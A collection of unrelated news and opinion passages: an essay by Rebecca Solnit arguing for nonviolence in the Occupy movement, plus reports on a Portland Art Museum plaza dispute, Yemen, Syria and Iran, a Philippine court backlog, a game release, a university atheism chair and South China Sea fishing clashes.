poll's Wednesday release comes as the scandal rocking the Department of Veterans Affairs dominated headlines recently. It's the latest controversy of the past year, following the NSA snooping scandal, the controversy over the IRS targeting of some conservative non-profit groups, and the rough rollout of the new federal health care law. The President has also faced numerous international challenges, including the new bloodshed in Iraq, the civil war in Syria, and the fighting in Ukraine, as well as the controversial swapping of five Taliban prisoners held at Guantanamo Bay for the release of a U.S. soldier held captive in Afghanistan. "This poll gives a window into the sentiment of Americans at the moment," said CNN Chief National Correspondent John King, who said he suspects the numbers could change dramatically in four or five years. The Quinnipiac University poll was conducted June 24-30, with 1,446 registered voters nationwide questioned by telephone. The survey's overall sampling error is plus or minus 2.6 percentage points. -Throwing Out The Master’s Tools And Building A Better House By Rebecca Solnit 13 November, 2011 Zcommunications.org Violence Is Conventional Violence is what the police use. It’s what the state uses. If we want a revolution, it’s because we want a better world, because we think we have a bigger imagination, a more beautiful vision. So we’re not violent; we’re not like them in crucial ways. When I see a New York City policeman pepper-spray already captive young women in the face, I am disgusted; I want things to be different. And that pepper-spraying incident, terrible though it was for the individuals, did not succeed in any larger way. In fact, seen on Youtube (704,737 times for one posted version) and widely spread, it helped make Occupy Wall Street visible and sympathetic to mainstream viewers. The movement grew tremendously after that. The incident demonstrated the moral failure of the police and demonstrated that violence is also weak. It can injure, damage, destroy, kill, but it can’t coerce the will of the people, whether it’s a policeman assaulting unarmed young women or the US Army in Vietnam or Iraq. Imagine that some Occupy activists had then beaten up the cop. That would have seemed to justify him in the eyes of many; it would’ve undermined the moral standing of our side. And then what? Moral authority was also that young Marine veteran, Shamar Thomas, chewing out thirty or so New York cops in what became a Youtube clip viewed 2,652,037 times so far. He didn’t fight them; he told them that what they were doing is wrong and dishonorable. And brought the nation along with him. Which violence wouldn’t do. Violence Is Weak As Jonathan Schell points out in his magnificent book The Unconquerable World: Power, Nonviolence, and the Will of the People, violence is what the state uses when its other powers have failed, when it is already losing. In using violence the state often loses its moral authority and its popular support. That’s why sometimes their visible violence feeds our victory, tragic though the impact may be. It’s also telling that when the FBI or other government agencies infiltrate a movement or an activist group, they seek to undermine it by egging it on to more violence. The state would like us to be violent. Violence as cooptation tries to make us more like them, and if we’re like them they win twice—once because being unlike them is our goal and again because then we’re then easier to imprison, brutalize, marginalize, etc. We have another kind of power, though the term nonviolence only defines what it is not; some call our power people power. It works. It’s powerful. It’s changed and it’s changing the world. The government and mainstream-to-right media often create fictions of our violence, from the myth that protesters were violent (beyond property damage) in Seattle in 1999 to the myth of spitting in returning soldiers’ faces in the Vietnam era to generally smearing us as terrorists. If we were violent, we’d be conventionally dangerous and the authorities could justify repressing us. In fact, we’re unconventionally dangerous, because we’re not threatening physical violence but the transformation of the system (and its violence). That is so much more dangerous to them, which is why they have to lie about (or just cannot comprehend) the nature of our danger. So when episodes of violence break out as part of our side in a demonstration, an uprising, a movement, I think of it as a sabotage, a corruption, a coercion, a misunderstanding, or a mistake, whether it’s a paid infiltrator or a clueless dude. Here I want to be clear that property damage is not necessarily violence. The firefighter breaks the door to get the people out of the building. But the husband breaks the dishes to demonstrate to his wife that he can and may also break her. It’s violence displaced onto the inanimate as a threat to the animate. Quietly eradicating experimental GMO crops or pulling up mining claim stakes is generally like the firefighter. Breaking windows during a big demonstration is more like the husband. I saw the windows of a Starbucks and a Niketown broken in downtown Seattle after nonviolent direct action had shut the central city and the World Trade Organization ministerial down. I saw scared-looking workers and knew that the CEOs and shareholders were not going to face that turbulence and they sure were not going to be the ones to clean it up. Economically it meant nothing to them. We Are Already Winning The powers that be are already scared of the Occupy movement and not because of tiny acts of violence. They are scared because right now we speak pretty well for the 99%. And because we set out to change the world and it’s working. The president of Russia warmed at the G20 Summit a week or so ago, ?"The reward system of shareholders and managers of financial institution should be changed step by step. Otherwise the 'Occupy Wall street' slogan will become fashionable in all developed countries." That’s fear. And capitulation. And New York Times columnist Paul Krugman opened a recent column thus: “Inequality is back in the news, largely thanks to Occupy Wall Street….” We have set the agenda and framed the terms, and that’s already a huge victory. This movement is winning. It’s winning by being broad and inclusive, by emphasizing what we have in common and bridging differences between the homeless, the poor, those in freefall, the fiscally thriving but outraged, between generations, races and nationalities and between longtime activists and never-demonstrated-before newcomers. It’s winning by keeping its eyes on the prize, which is economic justice and direct democracy, and by living out that direct democracy through assemblies and other means right now. It’s winning through people power direct-action tactics, from global marches to blockades to many hundreds of Occupations. It’s winning through the creativity of the young, from the 22-year-old who launched Move Your Money Day to the 26-year-old who started the We Are the 99% website. And by tactics learned from Argentina’s 2001 revolution of general assemblies and politica afectiva, the politics of affection. It’s winning by becoming the space in which we are civil society: of human beings in the aggegate, living in public and with trust and love for one another. Violence is not going to be one of the tools that works in this movement. Violence Is Authoritarian Bodily violence is a means of coercing others against their will by causing pain, injury, or death. It steals another’s bodily integrity or very life as property to dispose of as the violator wishes. Since the majority in our movement would never consent to violent actions, such actions are also imposed on our body politic against our will. This is the very antithesis of anarchy as an ideal in which no one is coerced. If you wish to do something the great majority of us oppose, do it on your own. But these small violent bands attach themselves to large nonviolent movements, perhaps because there aren’t any large violent movements around. As Peter Marshall writes in his history of anarchism, Demanding the Impossible, “Indeed the word violence comes from the Latin violareand etymologically means violation. Strictly speaking, to act violently means to treat others without respect…. A violent revolution is therefore unlikely to bring about any fundamental change in human relations. Given the anarchists’ respect for the sovereignty of the individual, in the long run it is non-violence and not violence which is implied by anarchist values.” Many of us anarchists are not ideological pacifists; I’m more than fine with the ways the Zapatistas rebels in southern Mexico have defended themselves and notice how sadly necessary it sometimes is, and I sure wouldn’t dictate what Syrians or Tibetans may or may not do. But petty violence in public in this country doesn’t achieve anything useful. Snatching Defeat from the Jaws of Victory In downtown Oakland, late on the evening of November 2 after a triumphant and mostly nonviolent day of mass actions, a building near Occupy Oakland’s encampment was seized, debris was piled up as if to make barricades that were only show barricades to set afire, not defend, trash cans were set on fire, windows broken, rocks thrown, and then there were altercations with the police. If the goal was to seize a building, one witness pointed out, then seize it secretly, not flamboyantly. The activity around the seizure seemed intended to bait the police into action. Which worked; police are not hard to bait. Activists and police were injured. What was achieved? Many other activists yelled at the brawlers because they felt that the violence-tinged actions did not represent them or the Occupy movement and put them in danger. It was appalling that the city of Oakland began, a week earlier, by sending in stormtrooper police before dawn rather than negotiating about the fate of the Occupy Oakland encampment. But it was ridiculous that some people tried to get the police to be violent all over again. And it was tragic that others bore the brunt of that foray, including the grievously injured veteran Kayvan Sabeghi—another veteran, a week after Scott Olson. Earlier this fall, the publishing group Crimethinc issued a screed in justification of violence that’s circulated widely in the Occupy movement. It’s titled “Dear Occupiers: A Letter from Anarchists,” though most anarchists I know would disagree with almost everything that follows. Midway through it declares, “Not everyone is resigned to legalistic pacifism; some people still remember how to stand up for themselves. Assuming that those at the front of clashes with the authorities are somehow in league with the authorities is not only illogical…. It is typical of privileged people who have been taught to trust the authorities and fear everyone who disobeys them.” If nonviolence/people power is privilege, explain this eyewitness account from Oakland last Wednesday, posted on the Occupy Oakland site by Kallista Patridge: “By the time we got to the University building, a brave man was blocking the door screaming "Peaceful Protest! This is my city, and I don't want to destroy it!" He cracked his knuckles, ready to take on an attack, his face splattered in paint from the Whole Foods fiasco [in which downtown Oakland’s branch of the chain store was spraypainted and smashed up based on a rumor that workers were told they’d be fired if they took the day off for the General Strike]. Behind the doors were men in badges. I was now watching a black man shield cops from a protest. The black flag group began pointing out those attempting to stop them, chanting ‘The peace police must be stopped,’ and I was, personally, rather disgusted by the strategy of comparing peacefully pissed people to police….” This account is by a protestor who also noted in downtown Oakland that day a couple of men with military-style haircuts and brand new clothes put bandannas over their faces and began to smash stuff. She thinks that infiltrators were part of the property destruction and maybe instigated it, and Copwatch’s posted video seems to document police infiltrators at Occupy Oakland. One way to be impossible to sabotage is to be clearly committed to tactics that the state can’t coopt. If an infiltrator wants to nonviolently blockade or march or take out the garbage, well, that’s one more of us. If an infiltrator sabotages us by recruiting for mayhem, that’s a comment on what those tactics are good for. What Actually Works The language of Crimethinc is empty machismo peppered with insults. And just in this tiny snippet, incoherent. People who don’t like violence are not necessarily fearful or obedient; people power and nonviolence are strategies that are not the same as the ideology pacifism. To shut down the whole central city of Seattle and the World Trade Organization ministerial meeting on November 30, 1999, or the business district of San Francisco for three days in March of 2003, or the Port of Oakland on November 2, 2011—through people power—is one hell of a great way to stand up. It works. And it brings great joy and sense of power to those who do it. It’s how the world gets changed these days. Crimethinc, whose logo is its name inside a bullet, doesn’t actually cite examples of violence achieving anything in our recent history. Can you name any? The anonymous writers don’t seem prepared to act, just tell others to (as do the two most high-profile advocates of violence on the left). And despite the smear quoted above that privileged people oppose them, theirs is the language of privilege. White kids can do crazy shit and get slapped on the wrist or maybe slapped around for it; I have for a quarter century walked through police lines like they were tall grass; people of color face far more dire consequences. When white youth try to bring the police down on a racially diverse movement—well, it’s not exactly what the word solidarity means to most of us. Another Occupy Oakland witness, a female street medic, wrote of the ill-conceived November 2 late-night antics, “watching black bloc-ers run from the cops and not protect the camp their actions had endangered, an action which ultimately left behind many mentally ill people, sick people, street kids, and homeless folks to defend themselves against the police onslaught was disturbing and disgusting in ways I can't even articulate because I am still so angry at the empty bravado and cowardice that I saw.” She adds, “I want those kids to be held accountable to the damage that they did, damage made possible by their class and race privilege.” And physical fitness; Occupy Oakland’s camp includes children, older people, wheelchair users and a lot of other people less ready to run. As Oakland Occupier Sunaura Taylor put it, “A few people making decisions that affect everyone else is not what revolution looks like; it's what capitalism looks like.” How We Defeated the Police The euphemism for violence is “diversity of tactics,” perhaps because diversity has been a liberal-progressive buzzword these past decades. But diversity does not mean that anything goes and that democratic decisionmaking doesn’t apply. If you want to be part of a movement, treat the others with respect; don’t spring unwanted surprises on them, particularly surprises that sabotage their own tactics—and chase away the real diversity of the movement. Most of us don’t want to be part of an action that includes those tactics. If you want to fight the police, look at who’s succeeded in changing their behavior: lawyers, lawmakers, police watchdog groups like Copwatch, investigative journalists (including a friend of mine whose work just put several New Orleans policemen in prison for decades), neighborhood patrols, community organizers, grassroots movements, often two or more players working together. You have to build. The night after the raid on Oakland, the police were massed to raid Occupy San Francisco. About two thousand of us stood in and around the Occupy encampment as helicoptors hovered. Nonviolence trainers helped people prepare to blockade. Because we had a little political revolt against the Democratic money machine ten years ago and began to elect progressives who actually represent us pretty well, five of our city supervisors, the public defender, and a state senator—all people of color, incidentally-- stood with us all night, vowing they would not let this happen. We stood up. We fought a nonviolent battle against four hundred riot police that was so effective the police didn’t even dare show up. That’s people power. The same day Occupy Oakland took its campsite back, with people power, and the black bloc kids were reportedly part of the whole: they dismantled the cyclone fencing panels and stacked them up neatly. That’s how Occupy San Francisco won. And that’s how Occupy Oakland won. State troopers and city police police refused to break up the Occupy Albany (New York) encampment, despite the governor’s and mayor’s orders. Sometimes the police can be swayed. Not by violence, though. The master’s tools won’t dismantle the master’s house. And they sure won’t build a better house. People Power Shapes the World Left violence failed miserably in the 1970s: the squalid and futile violence in Germany and Italy, the delusional Symbionese Liberation Army murdering Marcus Foster, Oakland’s first black school superintendent, and later gunning down a bystander mother of four in a bank, the bumbling Weather Underground accidentally blowing three of its members up and turning the rest into fugitives for a decade; all of them giving us a bad name we’ve worked hard to escape. Think of that excruciating footage in Sam Green’s Weather Underground documentary of the “days of rage,” when a handful of delusions-of-grandeur young white radicals thought they’d do literal battle with the Chicago police and thus inspire the working class to rise up. The police clobbered them; the working class was so not impressed. If you want to address a larger issue, getting overly entangled with local police is a great way to lose focus and support. In fact, the powerful and effective movements of the past sixty years have been almost entirely nonviolent. The Civil Rights Movement included the Deacons for Defense, but the focus of that smaller group was actually defense—the prevention of violence against nonviolent activists and the movement, not offensive forays. Schell points out that even the French and Russian Revolutions were largely nonviolent when it came to overthrowing the old regime; seizing a monopoly of power to form a new regime is when the blood really began to flow. I think of the Sandinista Revolution of 1979 as the last great armed revolution, and it succeeded because the guerrillas with guns who came down from the mountains had wide popular support. People power. People power overthrew the Shah of Iran that year, in a revolution that was hijacked by authoritarians fond of violence. In 1986 the Marcos regime of the Philippines was overthrown by nonviolent means, means so compelling the army switched sides and refused to support the Marcos regime. Armies don’t do that if you shoot at them, generally (and if you really defeated the police in battle—all the police, nationwide?--you’d face the army). Since then dozens of regimes, from South Africa to Hungary, Czechoslovakia and Poland to Nepal to Bolivia, Argentina, Uruguay, Brazil and Tunisia have been profoundly changed through largely nonviolent means. There was self-defense in the Deacons for Defense mode in the Egyptian uprising this year, but people power was the grand strategy that brought out the millions and changed the country. Armed struggle was part of the ongoing resistance in South Africa, but in the end people power and international solidarity were the fulcrom of change. The Zapatistas used violence sparingly as a last resort, but “our word is our weapon,” they say, and they used other tools in preference, often and exquisitely. The powerful and effective movements of the past sixty years have used the strategy of people power. It works. It changes the world. It’s changing the world now. Join us. Or don’t join us. But please don’t try to have it both ways. Rebecca Solnit is the author of 13 books, including A Paradise Built in Hell: The Extraordinary Communities That Arise in Disasters and Infinite City: A San Francisco Atlas. Copyright 2011 Rebecca Solnit -A planned expansion of the Portland Art Museum will (PAM) come at a cost of $50 million in new construction — and it would also come at the cost of public access to our city streets. As part of their plans to build the “Rothko Pavillion,” PAM has asked the City of Portland for permission to close an existing public right-of-way through a plaza between two of their buildings that connects SW 10th and Park at Madison Street. The proposal would add a significant new structure to the museum’s footprint and it has architects and cultural backers very excited. But some advocates are concerned that the new plans will further limit walking and rolling in a part of town where street connections are invaluable. Places where it’s easy and attractive to walk and roll have small blocks with lots of connections between them. The tighter the grid, the thinking goes, the better walkability a place has. As city blocks become “superblocks,” human-powered trip times increase, which makes walking and biking less attractive. PAM’s latest plans are just the latest in a long history of limiting access to this block. Madison used to connect between 10th and Park, but at PAM’s request in 1968 City Council passed an ordinance to “vacate” the street so the museum could complete a major renovation. That ordinance held PAM to three promises: a permanent, eight-foot wide public easement would be provided; the easement should be free of obstructions and well-lit; and that the area be only used as open mall. After several incidents of vandalism in 1984, PAM requested — and was granted — an amendment to the easement to close the right-of-way between 11:00 pm and 7:00 am. Then in late 2012, PAM requested to further limit the hours of public access. They wanted the public to only be able to use the plaza during museum hours. This time however, the City of Portland’s Planning & Sustainability Commission shot down the request. According to a briefing on the issue created by PBOT Commissioner Dan Saltzman’s office, the museum than unsuccessfully appealed to former Mayor Sam Adams with a threat close public access if hours weren’t further limited. PAM’s latest request would allow them to expand their programs between two existing buildings by covering the pavilion. The enclosed space would be free to enter and is being billed by the museum as a “cultural commons” between the buildings. Thanks for reading BikePortland. Please consider a $10/month subscription or a one-time payment to help maintain and expand this vital community resource. While the new structure has many benefits for our city, the requested easement change would, according to briefing papers prepared by the City of Portland, “Potentially exclude users of the space that are not utilizing it as pedestrian access between SW 10th Avenue and SW Park Avenue, patronizing Museum offerings (e.g., gift shop, café, etc.), or attending the Museum, as well as and/or including bicycles and animals.” Public access would also be reduced by four to eight hours per day. “More than likely we will request that access be maintained and provided for those who are walking and biking.” — Rithy Khut, Chair of Portland Bicycle Advisory Committee If the easement is approved it would make bicycle connections to and from SW Madison more difficult and inconvenient. Madison is a major city bikeway east of the museum because of its relatively low-volume traffic and direct connection to the Hawthorne Bridge — the most heavily used bike route across the Willamette River with a peak-season daily average of over 6,000 trips. SW Columbia has no bike lanes and isn’t considered a bike-friendly street. Salmon would be comparable, but it would mean a four-block detour. These concerns, as well as potential impacts to walking, have already surfaced. Local urban planner Mary Vogel wrote in an op-ed published on January 17th in the Portland Tribune that the closure of the plaza would go agaist Portland’s values of reducing demand for fossil fuels. The City should, “Insist on a revision of the Portland Art Museum Rothko Pavilion plan,” Vogel wrote, and instead, “focus on strengthening downtown walkability and resilience — e.g. negotiate a Madison Walkway between Southwest 11th and 12th Avenues to break up this superblock.” And a December 2016 article about the project in The Oregonian highlighted concerns of people who live across the street from the museum who worry about losing access: Neighbors worry that means they won’t be able to use it for commutes or to reach places like the Arlene Schnitzer Concert Hall and the Oregon Historical Society. Ferriso [with PAM] said he recognizes the neighbors’ concerns, but whatever’s lost by closing the walkway an additional 25 to 30 hours is outweighed by the community benefits of improved educational and cultural opportunities at the museum. Wendy Rahm, an Eliot resident who is a museum patron and a member of the board of directors of the Architectural Heritage Center, worries the museum isn’t listening to stakeholders in her building. “I think it’s gorgeous,” Rahm said after attending a presentation about the proposed expansion. “My problem with this is that plaza is a pedestrian-oriented oasis in our very increasingly dense city. It is an asset to this part of town.” PAM’s proposal to limit access on this block was also discussed briefly at a joint meeting of the City of Portland’s bicycle and pedestrian advisory committees on March 14th. A large majority of committee members raised their hands in opposition to the idea. PBAC Chair Rithy Khut confirmed with us this week that they plan to submit a letter to Commissioner Saltzman and, “More than likely we will request that access be maintained and provided for those who are walking and biking.” This ordinance is scheduled to be heard at City Council on April 20th. Perhaps Council will consider other options. While in Amsterdam in 2013 I marveled at how that city created a promenade for walking and a path for bicycling through a major museum. — Jonathan Maus: (503) 706-8804, @jonathan_maus on Twitter and jonathan@bikeportland.org BikePortland is supported by the community (that means you!). Please become a subscriber or make a donation today. Front Page portland art museum, rothko pavilion -A boy cries at a camp for internally displaced people near Sanaa, Yemen, August 10, 2016. REUTERS/Khaled Abdullah DUBAI (Reuters) - Saudi Arabia intercepted two ballistic missiles fired at the kingdom by Yemen’s armed Houthi movement on Wednesday, Saudi-owned Al Arabiya TV reported. The attack follows renewed air strikes by a Saudi-led military coalition on the Houthi-controlled Yemeni capital, Sanaa. Thirteen civilians were killed when bombs a snack food factory. The Houthis did not immediately claim responsibility for the missile attack. In the past, they have boasted of launching around a dozen Scud missiles at the south of the kingdom during more than a year of war. A senior Houthi official did say that he held the United Nations responsible for the stepped-up combat, which followed the collapse over the weekend of U.N.-backed peace talks. “The silence of the U.N. towards this dangerous escalation and mass extermination against the Yemeni people ... makes it a partner in the aggression,” Saleh al-Samad, the chief of a new Houthi-backed political council, told state news agency Saba. Saudi Arabia and an alliance of mostly Gulf Arab allies have launched thousands of air strikes against the Houthis and their allies in Yemen’s army since they intervened in Yemen’s civil war on behalf of the exiled government. The Saudis are backing an offensive by pro-government fighters aiming to advance on Sanaa from the north and east. -The Department of Justice is now facing 4,000 more cases than the 10,000 backlog Justice Secretary Vitaliano Aguirre II inherited when he assumed office 14 months ago. This means the DOJ failed to resolve 333 cases every month, or 14 cases for each of 293 working days, since June 30, 2016. ADVERTISEMENT Aguirre, a private lawyer before becoming justice secretary, blamed the increasing backlog on the lack of government prosecutors. “We urgently need prosecutors here. We have more than 1,000 vacancies,” Aguirre said, adding the vacancies are double the number of vacancies a year ago. “We need as much help as we can get to resolve this backlog of 14,000 cases,” he added. Shortly after he assumed office in June, Aguirre complained that the DOJ needed 509 additional prosecutors and the processing of appointment papers was too slow for the pile up of cases. In addition to the case backlog, Aguirre also has to address the legal matters that crop up from day to day, like the case of Commission on Elections (Comelec) Chair Andres Bautista. Aguirre has ordered the PCGG and the National Bureau of Investigation, two agencies under his supervision, to investigate PCGG transactions during Bautista’s term from 2010 to 2015. But he admitted any adverse finding can only be filed as an administrative or criminal complaint after Bautista, who heads a constitutional agency, is impeached or resigns. “He’s still an impeachable officer and immune from suit. The only suit that can be filed against him is an impeachment suit,” Aguirre told reporters. He ordered the PCGG last week to probe the Commission on Audit’s report on unliquidated cash disbursements of more than P100 million from the PCGG’s dollar escrow account. ADVERTISEMENT He also wanted an inquiry into reported abuse of sequestered and surrendered assets, including millions of pesos worth of gift checks and gift cards given to members of the media. He also wants an investigation of kickbacks Bautista may have received from the alleged payment of excessive billings made to law firms connected to him. Read Next LATEST STORIES MOST READ -Iran to send 4,000 troops to fight alongside Syrian regime: report Updated Iran will send 4,000 of its troops to Syria to aid president Bashar al-Assad's forces in its fight against rebels, according to the UK's Independent newspaper. The "military decision" means that Iran is now "fully committed to preserving Assad's regime," wrote journalist Robert Fisk, citing pro-Iranian sources. Key points Iran will send 4,000 troops to fight alongside Assad's forces Iran's Shiite rulers are staunch allies of Mr Assad, who belongs to the Alawite sect, an offshoot of Shiite Islam The rebellion in Syria is largely Sunni Shiite Hezbollah fighters are already joining forces with Assad's troops Leaders of Britain and Russia met overnight for talks on Syria As well as sending Revolutionary Guards, Iran has reportedly proposed to open a "Syrian front" against Israel in the Golan Heights. The decision was reportedly made before Iran's presidential election, and came as the US approved a move to arm the Syrian opposition. It compounds fears that the Syrian conflict is taking on broader regional and sectarian dimensions. Iran is a predominantly Shiite Muslim country and a staunch ally of Mr Assad, who belongs to the Alawite sect, an offshoot of Shiite Islam. The rebellion in Syria is largely Sunni. The Assad regime has also received recent support from fighters loyal to the Lebanese Shiite militant group Hezbollah. The rebels, meanwhile, are reportedly getting military support from Sunni-led Saudi Arabia, which plans to supply them with anti-aircraft missiles to counter the regime's air force. Britain and Russia at odds over Syria British prime minister David Cameron and Russian president Vladimir Putin acknowledged their differences over Syria after talks in London overnight. Russia, a long time backer of the Syrian regime, is sceptical about US accusations that the Syrian military has used chemical weapons against the rebels. After the meeting in London, Mr Putin said Russia wanted to create the conditions for a resolution and urged Western countries to abandon their plans to arm the rebels fighting against the Assad regime. "One does not really need to support the people who not only kill their enemies, but open up their bodies, eat their intestines in front of the public and cameras," he said. "Are these the people you want to support? Are they the ones you want to supply with weapons? Then this probably has little relation to the humanitarian values preached in Europe for hundreds of years." Sorry, this video has expired Video: David Cameron and Vladimir Putin meet in London (ABC News) The incident Mr Putin referred to was most likely that of a rebel commander filmed last month cutting into the torso of a dead soldier and biting into a piece of one of his organs. Mr Cameron says he blames the Assad regime and not its ally Russia for the ongoing violence, despite the supply of arms from Moscow. He says the UK has still made no decision on whether to supply weapons to the rebels. Mr Cameron also says he and Mr Putin are working to find common ground on Syria ahead of the upcoming G8 summit and a planned international peace conference "What I take from our conversation today is that we can overcome these differences if we recognise that we share some fundamental aims: to end the conflict, to stop Syria breaking apart, to let the Syrian people choose who governs them and to take the fight to the extremists and defeat them," he said. Now that the US is taking moves to arm the Syrian opposition and Mr Cameron himself insisting that more must be done to help them, Moscow might now go ahead with its plans to provide sophisticated new air defences to the Syrian regime. Mixed response to new Iranian president There has been a cautious international response to the election of moderate cleric Hassan Rowhani as the next president of Iran. Mr Rowhani has pledged greater engagement with the West, a move which has been welcomed by the United States, Russia and Britain. Mr Putin has also urged closer ties with Iran following Mr Rowhani's win. Australia has also welcomed the new president and urged him to return to constructive talks on the country's nuclear program. But Israel has voiced its ongoing concern. Israeli prime minister Benjamin Netanyhu wants continued international pressure on Iran to curb its nuclear program. His intelligence minister Yuval Steinitz was even less optimistic about Mr Rowhani, telling Israeli media he is not a moderate figure at all. He said the international community must not be deluded and there was no reason to alleviate pressure on Iran, but rather sanctions should be tightened. Several Iranian newspapers described the victory of the reformist-backed candidate as the return of hope. Tens of thousands of people celebrated on the streets of the capital Tehran throughout the night after hearing the election result. The past eight years under former President Mahmoud Ahmadinejad have seen Iran isolated on the international stage and engulfed in an economic crisis, mainly the result of international sanctions. Syria's main opposition group has called on Mr Rowhani to end his country's alliance with President Bashar al-Assad. ABC/wires Topics: unrest-conflict-and-war, world-politics, syrian-arab-republic, iran-islamic-republic-of First posted -Square Enix and Media. Vision's Chaos Rings roleplaying game series is now mostly available in English for the PlayStation Vita in a bundled download. Sony Computer Entertainment Hong Kong announced an update for the Chaos Rings III: Prequel Trilogy PS Vita game pack that adds English, Chinese (traditional and simplified), and Korean text for Chaos Rings, Chaos Rings Omega, and Chaos Rings II . Chaos Rings III is included in the game bundle, but does not have an English translation. Square Enix previously released Chaos Rings for mobile devices in North America in 2010 and PlayStation Vita via the mobile store in 2013. Chaos Rings Omega and Chaos Rings II were released in English for mobile devices in 2011 and 2012, respectively. Square Enix released Chaos Rings III in Japan for PS Vita and mobile devices in October. [Via Siliconera] -The revolution will definitely be tweeted. On Wednesday morning—a day after the official Twitter account for Badlands National Park went rogue and started dropping actual scientific facts—it seems that Death Valley National Park has joined the resistance. At 7:09 a.m. this morning, the national park's account started talking about World War II-era internment camps: They followed that tweet up with a Dorothea Lange photo of influential former Rafu Shimpo newspaper editor Togo Tanaka, who helped chronicle Japanese-American internment. The photo was paired with a quote from Tanaka that ran in a March 13, 1942 Rafu Shimpo editorial. We presume the tweets won't last long, so we've included them all as screenshots, as opposed to embedded tweets. A quick refresher for anyone who hasn't been paying attention: back in November a high-profile surrogate for President Donald Trump actually said that World War II-era Japanese-American internment camps could be seen as a “precedent” for the potential creation of a Muslim immigrant registry. This is despite the, um, slightly awkward fact that the U.S.'s Japanese-American internment camps are pretty much universally considered a black mark on our country's history. In fact, it was no less a conservative icon than Ronald Reagan who signed the Civil Liberties Act of 1988, which issued a formal apology to the more than 100,000 people of Japanese descent who were incarcerated, and paid out $20,000 in compensation to all surviving victims. -Spread the love For as long as there has been college, there has been the study of religion. The study of atheism, however, has fought an uphill battle. Thanks to a hefty donation in late April, establishing the nation’s first academic chair “for the study of atheism, humanism, and secular ethics,” the University of Miami seeks to lead the way in this novel collegiate field. Retired businessman, Louis J. Appignani, and former president and chairman of the modeling school Barbizon International donated $2.2 million to aid the school in its secular causes. While this donation to the University of Miami is not his first grant of its kind by Mr. Appignani to humanist and secular causes, it is the largest. “I’m trying to eliminate discrimination against atheists,” said the 83-year-old Appignani in an interview with the NY Times. “So this is a step in that direction, to make atheism legitimate.” “I think it’s a very bold step of the University of Miami, and I hope there will be others,” said Richard Dawkins to the Times. Dawkins is an evolutionary biologist and atheist luminary who is the author of “The God Delusion.” “It’s enormously important to shake off the shackles of religion from the study of morality,” Mr. Dawkins said. The college atmosphere is supposed to be a place for the open exchange of ideas to promote the notion of higher learning. However, as history has shown, this is not often the case. American history, at large, is riddled with the persecution of individuals and groups whose spiritual views varied from the status quo. For the past two centuries, groups like the National Liberal League and the American Secular Union advocated for a secular republic in which religious freedom applied to the irreligious as well as the religious. In the early 20th century, people were arrested for blasphemy if they dared challenge the establishment of religion. Chapters for the American Association for the Advancement of Atheism operated on college campuses across the US, with “The Damned Souls” at the University of Rochester being one of the most noteworthy. The founder of the American Association for the Advancement of Atheism, Charles Lee Smith, gained the public’s attention in 1928 when he opened a storefront in Little Rock, Arkansas and distributed what Time Magazine called “godless propaganda.” Practicing his first amendment right would eventually lead to his arrest for blasphemy after mailing literature to local clergy. This momentum has carried over into modern day America as secular societies have begun to organize themselves politically. According to the Times, next month, nonbelievers are headed to Washington to lobby Congress and hold a “Reason Rally” at the Lincoln Memorial to showcase their numbers and promote the separation of church and state. Even today, however, there is a stigma associated with those who choose not to believe in God. The University of Miami even took some persuading to create the chair with the word “atheism” in the title, according to Harvey Siegel, a professor of philosophy at the University, who helped broker the arrangement. “There was great reluctance on the part of the university to have an endowed chair with the word ‘atheism’ in the name, and that was a deal-breaker for Lou,” Mr. Siegel told the Times. “He wasn’t going to do it unless it had the word atheism in it.” Executive vice president of the University, Thomas J. LeBlanc noted that this chair is not one of advocation for atheism, but rather education. “We didn’t want anyone to misunderstand and think that this was to be an advocacy position for someone who is an atheist,” he said. “Our religion department isn’t taking an advocacy position when it teaches about Catholicism or Islam. Similarly, we’re not taking an advocacy position when we teach about atheism or secular ethics.” As the Times reports, Appignani wanted the college to follow his specific protocol: Mr. Appignani said he rejected a last-minute proposal from a dean to call it a chair in “philosophical naturalism.” Instead, he and the university leaders worked out the title, broadening the scope by including humanism and secular ethics. Mr. Appignani was raised a Roman Catholic in the Bronx by Italian immigrant parents. His father was a clothing presser in the garment district. He attended Catholic schools and said he became a nonbeliever at the City College of New York when he discovered the work of Bertrand Russell, the British philosopher and Nobel Prize winner. With the money he made from the Barbizon school, he said, he created the foundation that has given grants to groups like the American Humanist Association and the Secular Coalition for America, and the Appignani Humanist Legal Center. This move by the University of Miami is nothing short of historic. Broadening the scope of spiritual and secular studies offered to students will only lead to a lesser ignorance and freer minds. It is important, however, to note that even atheists can exhibit the same obstinate and militant traits of the most dogmatic religious zealots. An individual’s peaceful beliefs should be of no concern to others. If atheists truly want the freedom to believe what they want to believe, then that same freedom must be afforded to others without fear of persecution. Spirituality comes in many forms and those who attempt to force their version of it, or even lack thereof, onto others, have no place in the expansion of human consciousness. -South China Sea: Vietnam prepares for dangerous days ahead as the country's fisheries clash with Chinese authorities Updated Provocative activity in the South China Sea is clearly visible in the fiercely contested Spratly Islands, satellite pictures released today show. Dredging work appears to be underway on a reef that is covered with water at high tide, but is an important stake in the hotspot, with a Vietnamese flag, lighthouse and soldiers stationed there. "We can see that, in this environment Vietnam's strategic mistrust is total … and they are rapidly improving their defences," retired British navy intelligence analyst, Trevor Hollingsbee said. The dredging risks provoking the anger of Vietnam's main rival in the sea — China. The whole South China Sea was once a region of uncontested traditional fishing waters, but as billions of dollars of gas and oil have been discovered, countries are vying for control. A trip to the more northern Paracel Islands exposes the rawness of national sensitivities. Sparkling on the horizon as our boat navigates the swell and leaving Vietnam behind us, the Paracels are one of the world's most contentious flashpoints. 'My ancestors have always fished here' Captain Bui Ngoc Thanh and his crew of 18 are heading north. He risks harassment in these forays, but there is the lure of abundant fish and giant clams. The fishermen also have a defiant attitude-fuelled by their country's own historic claims on the area. The latest attack was only two weeks ago, Captain Bui said. The Chinese Coastguard stopped them near Woody Island. Officials boarded the boat and beat the crew using clubs and electric cattle prods. "They climbed on my roof and cut the Vietnamese flag, cut our radio antennae and stole all our fish and equipment," Captain Bui said. "They forced us to lie down on the front deck until they had taken everything." "They yelled at us and their translator told us that we were fishing illegally in Chinese waters. But I know these are Vietnamese waters because my ancestors have always fished here," he said. China justifies its claims of sovereignty over much of the South China Sea because of ancient trade routes. As his men haul in their nets, Captain Bui says fish stocks are down because the subsidised Chinese fishing fleet is expanding. "In the past we could get the same amount of fish in one week that we get now in one month," he says. Soon Captain Bui and his crew head back with their catch to Ly Son Island, just off Vietnam's coast. Vietnam building strategic partnerships Ly Son sits between Vietnam's two main two hotspots - the Paracels in the north claimed by Vietnam and China, and the Spratleys in the south, with overlapping claims by a cluster of different countries. 